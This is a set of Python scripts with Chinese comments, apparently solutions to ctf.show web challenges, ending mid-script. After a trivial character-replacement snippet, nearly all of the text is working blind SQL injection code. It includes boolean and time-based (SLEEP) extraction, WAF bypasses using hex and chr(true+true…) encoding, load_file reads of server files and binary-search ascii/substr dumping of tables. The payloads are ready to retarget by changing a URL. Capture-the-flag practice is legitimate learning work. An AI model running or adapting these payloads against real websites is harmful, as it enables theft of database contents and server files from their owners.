def rev_replace(txt):

    repl = {

        'A': '1',

        'B': '2',

        'C': '3',

        'D': '4',

        'E': '5',

        'F': '6',

        'G': '7',

        'H': '8',

        'I': '9',

        'J': '0'

    }

    for k, v in repl.items():

        txt = txt.replace(k, v)

    return txt

txt = input("输入：")

out = rev_replace(txt)

print("替换后: ", out)

import requests

from concurrent.futures import ThreadPoolExecutor, as_completed

# ===================== 配置区 =====================

URL = "http://62350fa3-1f63-4684-9981-7787a1bc0d90.challenge.ctf.show/api/v4.php"  # 目标地址

CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz{}-"  # 爆破字典

TARGET_USER = "flag"   # 目标用户名

MAX_LEN = 50           # 爆破长度上限

THREADS = 10           # 并发线程数

DEBUG = False          # 是否打印调试信息（True/False）

# ★ i 注入点、payload 模板写在配置区

PAYLOAD_TEMPLATE = "?id=1' and substr((select password from ctfshow_user4 where username=\"{user}\"),{pos},1)='{char}'--+"

SUCCESS_KEYWORD = "admin"  # ★ 判断正确的关键字

# =================== 配置区结束 ===================

def test_char(session, pos, ch):

    """测试某一位的某个字符"""

    payload = PAYLOAD_TEMPLATE.format(user=TARGET_USER, pos=pos, char=ch)

    url_full = URL + payload

    try:

        res = session.get(url=url_full, timeout=5)

    except requests.exceptions.RequestException:

        return None

    if DEBUG:

        print(f"[DEBUG] pos={pos}, try='{ch}'")

    if SUCCESS_KEYWORD in res.text:

        return ch

    return None

def extract_flag():

    flag = ""

    session = requests.Session()

    for i in range(1, MAX_LEN + 1):

        found = None

        # ★ 多线程跑这一位的所有候选字符

        with ThreadPoolExecutor(max_workers=THREADS) as executor:

            futures = {executor.submit(test_char, session, i, ch): ch for ch in CHARSET}

            for future in as_completed(futures):

                result = future.result()

                if result is not None:

                    found = result

                    break

        if found:

            flag += found

            print(f"[+] 当前Flag: {flag}")

        else:

            print("[*] 爆破结束")

            break

    return flag

if __name__ == "__main__":

    result = extract_flag()

    print(f"\n最终Flag: {result}")

import requests

from concurrent.futures import ThreadPoolExecutor, as_completed

import time

# ===================== 配置区 =====================

URL = "http://4bbc4f29-3d36-42b9-abc0-c10dd3b3d326.challenge.ctf.show/api/v5.php"

CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz{}-"

TARGET_USER = "flag"

MAX_LEN = 50

THREADS = 10

DEBUG = False

TIME_THRESHOLD = 1  # 响应时间超过多少秒判定为正确字符

SLEEP_TIME = 1.5      # payload 中 sleep 的秒数

# ★ payload 模板改成时间盲注

PAYLOAD_TEMPLATE = "?id=1' and if(substr((select password from ctfshow_user5 where username='{user}'),{pos},1)='{char}', SLEEP({sleep}), 0)--+"

# =================== 配置区结束 ===================

def test_char(session, pos, ch):

    """测试某一位的某个字符"""

    payload = PAYLOAD_TEMPLATE.format(user=TARGET_USER, pos=pos, char=ch, sleep=SLEEP_TIME)

    url_full = URL + payload

    start = time.time()

    try:

        session.get(url=url_full, timeout=SLEEP_TIME + 2)

    except requests.exceptions.RequestException:

        return None

    elapsed = time.time() - start

    if DEBUG:

        print(f"[DEBUG] pos={pos}, try='{ch}', time={elapsed:.2f}s")

    if elapsed >= TIME_THRESHOLD:

        return ch

    return None

def extract_flag():

    flag = ""

    session = requests.Session()

    for i in range(1, MAX_LEN + 1):

        found = None

        with ThreadPoolExecutor(max_workers=THREADS) as executor:

            futures = {executor.submit(test_char, session, i, ch): ch for ch in CHARSET}

            for future in as_completed(futures):

                result = future.result()

                if result is not None:

                    found = result

                    break

        if found:

            flag += found

            print(f"[+] 当前Flag: {flag}")

        else:

            print("[*] 爆破结束")

            break

    return flag

if __name__ == "__main__":

    result = extract_flag()

    print(f"\n最终Flag: {result}")

import requests

import time

# ==================== 配置区 ====================

# 目标 URL

URL = "http://62068be2-b35f-44b9-a953-dcf9022c5953.challenge.ctf.show/select-waf.php"

# POST 请求参数配置

POST_NAME = "tableName"                # POST 的 name

POST_VALUE_PREFIX = "(ctfshow_user)where(pass)like'"  # value 的前缀

POST_VALUE_SUFFIX = "%'"                # value 的后缀

# 可选字符集，根据实际 flag 特点可以缩小范围提高效率

CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz{}-"

# 已知 flag 前缀

PREFIX = "ctfshow{"

# 最大尝试长度（避免死循环）

MAX_LEN = 45

# 每次请求之间的延迟，避免被 WAF 封禁

SLEEP_TIME = 0.05

# 服务器响应里判断条件是否成立的关键字

SUCCESS_KEY = "$user_count = 1"

# ==================== 脚本逻辑 ====================

def brute_force():

    flag = PREFIX

    for i in range(len(PREFIX), MAX_LEN):

        found = False

        for ch in CHARSET:

            payload = f"{POST_VALUE_PREFIX}{flag + ch}{POST_VALUE_SUFFIX}"

            data = {POST_NAME: payload}

            try:

                res = requests.post(url=URL, data=data, timeout=5)

            except requests.exceptions.RequestException as e:

                print(f"[!] 请求出错: {e}")

                continue

            if SUCCESS_KEY in res.text:

                flag += ch

                print(f"[+] 已发现: {flag}")

                found = True

                if ch == "}":   # flag 结束标志

                    print(f"[✓] 最终 flag: {flag}")

                    return flag

                break

        if not found:

            print("[!] 没找到下一个字符，可能 flag 完成或 CHARSET 不全")

            break

        time.sleep(SLEEP_TIME)

if __name__ == "__main__":

    brute_force()

import requests

import time

import binascii

# ==================== 配置区 ====================

URL = "http://fb220894-1420-42b2-9cb9-a595c452d077.challenge.ctf.show/select-waf.php"

POST_NAME = "tableName"

POST_VALUE_PREFIX = "ctfshow_user as a right join ctfshow_user as b on b.pass like "

CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz{}-"

PREFIX = "ctfshow{"

MAX_LEN = 45

SLEEP_TIME = 0.05

SUCCESS_KEY = "$user_count = 43"

# ==================== 工具函数 ====================

def to_hex(s: str) -> str:

    """把字符串转换成 MySQL HEX 形式"""

    str_16 = binascii.b2a_hex(s.encode('utf-8'))

    return str_16.decode()

# ==================== 脚本逻辑 ====================

def brute_force():

    flag = PREFIX

    for i in range(len(PREFIX), MAX_LEN):

        found = False

        for ch in CHARSET:

            # 每次把 flag + 当前字符 + % 转 HEX

            hex_payload = "0x" + to_hex(flag + ch + "%")

            payload = f"{POST_VALUE_PREFIX}{hex_payload}"

            data = {POST_NAME: payload}

            try:

                res = requests.post(url=URL, data=data, timeout=5)

            except requests.exceptions.RequestException as e:

                print(f"[!] 请求出错: {e}")

                continue

            if SUCCESS_KEY in res.text:

                flag += ch

                print(f"[+] 已发现: {flag}")

                found = True

                if ch == "}":  

                    print(f"[✓] 最终 flag: {flag}")

                    return flag

                break

        if not found:

            print("[!] 没找到下一个字符，可能 flag 完成或 CHARSET 不全")

            break

        time.sleep(SLEEP_TIME)

if __name__ == "__main__":

    brute_force()

# -- coding:UTF-8 --

# Author:dota_st + modified

import requests

import time

# ==================== 配置区 ====================

URL = "http://603b48c4-c187-4214-9301-5f6164de0af8.challenge.ctf.show/select-waf.php"

POST_NAME = "tableName"

# 可选字符集

CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz{}-"

# 已知 flag 前缀

PREFIX = "ctfshow{"

MAX_LEN = 45

SLEEP_TIME = 0.05

# 服务器响应里判断条件是否成立的关键字

SUCCESS_KEY = "$user_count = 43"

# ==================== 函数区 ====================

def createNum(n):

    s = 'true'

    if n == 1:

        return 'true'

    for i in range(n - 1):

        s += "+true"

    return s

def change_str(s):

    """

    将字符串转换为 chr(x) 拼接形式，用于 SQL concat()

    例如 'abc' -> chr(97),chr(98),chr(99)

    """

    res = "chr(" + createNum(ord(s[0])) + ")"

    for c in s[1:]:

        res += ",chr(" + createNum(ord(c)) + ")"

    return res

# ==================== 脚本逻辑 ====================

def brute_force():

    flag = PREFIX

    for i in range(len(PREFIX), MAX_LEN):

        found = False

        for ch in CHARSET:

            payload = f"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({change_str(flag + ch + '%')}))"

            data = {POST_NAME: payload}

            try:

                res = requests.post(URL, data=data, timeout=5)

            except requests.exceptions.RequestException as e:

                print(f"[!] 请求出错: {e}")

                continue

            if SUCCESS_KEY in res.text:

                flag += ch

                print(f"[+] 已发现: {flag}")

                found = True

                if ch == "}":

                    print(f"[✓] 最终 flag: {flag}")

                    return flag

                break

        if not found:

            print("[!] 没找到下一个字符，可能 flag 完成或 CHARSET 不全")

            break

        time.sleep(SLEEP_TIME)

if __name__ == "__main__":

    brute_force()

# -- coding:UTF-8 --

# Author:dota_st + modified

import requests

import time

# ==================== 配置区 ====================

URL = "http://76018f77-8b0e-414f-a7a1-c988148411ed.challenge.ctf.show/select-waf.php"

POST_NAME = "tableName"

# 可选字符集

CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz{}-"

# 已知 flag 前缀

PREFIX = "ctfshow{"

MAX_LEN = 45

SLEEP_TIME = 0.05

# 服务器响应里判断条件是否成立的关键字

SUCCESS_KEY = "$user_count = 43"

# ==================== 函数区 ====================

def createNum(n):

    s = 'true'

    if n == 1:

        return 'true'

    for i in range(n - 1):

        s += "+true"

    return s

def change_str(s):

    """

    将字符串转换为 chr(x) 拼接形式，用于 SQL concat()

    例如 'abc' -> chr(97),chr(98),chr(99)

    """

    res = "chr(" + createNum(ord(s[0])) + ")"

    for c in s[1:]:

        res += ",chr(" + createNum(ord(c)) + ")"

    return res

# ==================== 脚本逻辑 ====================

def brute_force():

    flag = PREFIX

    for i in range(len(PREFIX), MAX_LEN):

        found = False

        for ch in CHARSET:

            payload = f"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({change_str(flag + ch + '%')}))"

            data = {POST_NAME: payload}

            try:

                res = requests.post(URL, data=data, timeout=5)

            except requests.exceptions.RequestException as e:

                print(f"[!] 请求出错: {e}")

                continue

            if SUCCESS_KEY in res.text:

                flag += ch

                print(f"[+] 已发现: {flag}")

                found = True

                if ch == "}":

                    print(f"[✓] 最终 flag: {flag}")

                    return flag

                break

        if not found:

            print("[!] 没找到下一个字符，可能 flag 完成或 CHARSET 不全")

            break

        time.sleep(SLEEP_TIME)

if __name__ == "__main__":

    brute_force()

import requests

import time

# ==================== 配置区 ====================

URL = "http://6d5fdcd5-caca-4e9e-98d0-7af939d64d46.challenge.ctf.show/api/index.php"

# POST 请求参数配置

USERNAME_PARAM = "username"

PASSWORD_PARAM = "password"

POST_VALUE_PREFIX = "if(load_file('/var/www/html/api/index.php')regexp'"

POST_VALUE_SUFFIX = "',0,1)"   # 注意这里补上，0,1 和右括号

# 可选字符集

CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz-{}"

# 已知 flag 前缀

PREFIX = "ctfshow{"

# 最大尝试长度

MAX_LEN = 45

# 请求延迟

SLEEP_TIME = 0.05

# 服务器响应关键字

SUCCESS_KEY = r"\u5bc6\u7801\u9519\u8bef"

# ==================== 脚本逻辑 ====================

def brute_force():

    flag = PREFIX

    for i in range(len(PREFIX), MAX_LEN):

        found = False

        for ch in CHARSET:

            payload = f"{POST_VALUE_PREFIX}{flag + ch}{POST_VALUE_SUFFIX}"

            data = {

                USERNAME_PARAM: payload,

                PASSWORD_PARAM: 0

            }

            try:

                res = requests.post(url=URL, data=data, timeout=5)

                time.sleep(SLEEP_TIME)

            except requests.exceptions.RequestException as e:

                print(f"[!] 请求出错: {e}")

                continue

            if SUCCESS_KEY in res.text:

                flag += ch

                print(f"[+] 已发现: {flag}")

                found = True

                if ch == "}":

                    print(f"[✓] 最终 flag: {flag}")

                    return flag

                break

        if not found:

            print("[!] 没找到下一个字符，可能 flag 完成或 CHARSET 不全")

            break

if __name__ == "__main__":

    brute_force()

import requests

import time

# ==================== 配置区 ====================

URL = "http://bcf69769-3d02-4adf-81f2-b1d47707987e.challenge.ctf.show/api/"

# POST 请求参数

USERNAME_PARAM = "username"

PASSWORD_PARAM = "password"

DEFAULT_PASSWORD = "123456"

# 爆破范围（ASCII）

ASCII_START = 32          # 空格开始

ASCII_END = 127           # ~ 结束

MAX_LEN = 45              # 最长 flag 长度

# SQL payload（注意：用 {} 占位符）

# PAYLOAD = "select database()"

# PAYLOAD = "select group_concat(table_name) from information_schema.tables where table_schema=database()"

# PAYLOAD = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"

PAYLOAD = "select f1ag from ctfshow_fl0g"

# 服务端响应中判断条件是否成立的关键字

SUCCESS_KEY = "密码错误"  # 填转义后的即可，下面有 json 处理

# 请求延迟（避免 WAF）

SLEEP_TIME = 0.05

# ==================== 配置区 ====================

def extract_flag():

    flag = ""

    for i in range(1, MAX_LEN + 1):

        start, end = ASCII_START, ASCII_END

        while start < end:

            mid = (start + end) >> 1

            # 构造 payload

            condition = f"ascii(substr(({PAYLOAD}), {i}, 1)) > {mid}" # 二分法

            inj = f"admin' and if({condition}, 1, 2)=1#"

            data = {

                USERNAME_PARAM: inj,

                PASSWORD_PARAM: DEFAULT_PASSWORD

            }

            try:

                res = requests.post(URL, data=data, timeout=5)

                msg = res.json().get("msg", "")

            except Exception as e:

                print(f"[!] 请求失败: {e}")

                return flag

            if SUCCESS_KEY in msg:

                start = mid + 1

            else:

                end = mid

            time.sleep(SLEEP_TIME)

        # 一个字符确定

        flag += chr(start)

        print(f"[+] 当前进度: {flag}")

        # 提前结束

        if flag.endswith("}"):

            print(f"[✓] 最终结果: {flag}")

            return flag

    print(f"[!] 达到最大长度，最终结果: {flag}")

    return flag

if __name__ == "__main__":

    extract_flag()

import requests

import time

# ==================== 配置区 ====================

URL = "http://4953d4e6-b84c-42d4-aeb3-8be66b9feae2.challenge.ctf.show/api/"

# POST 请求参数

USERNAME_PARAM = "username"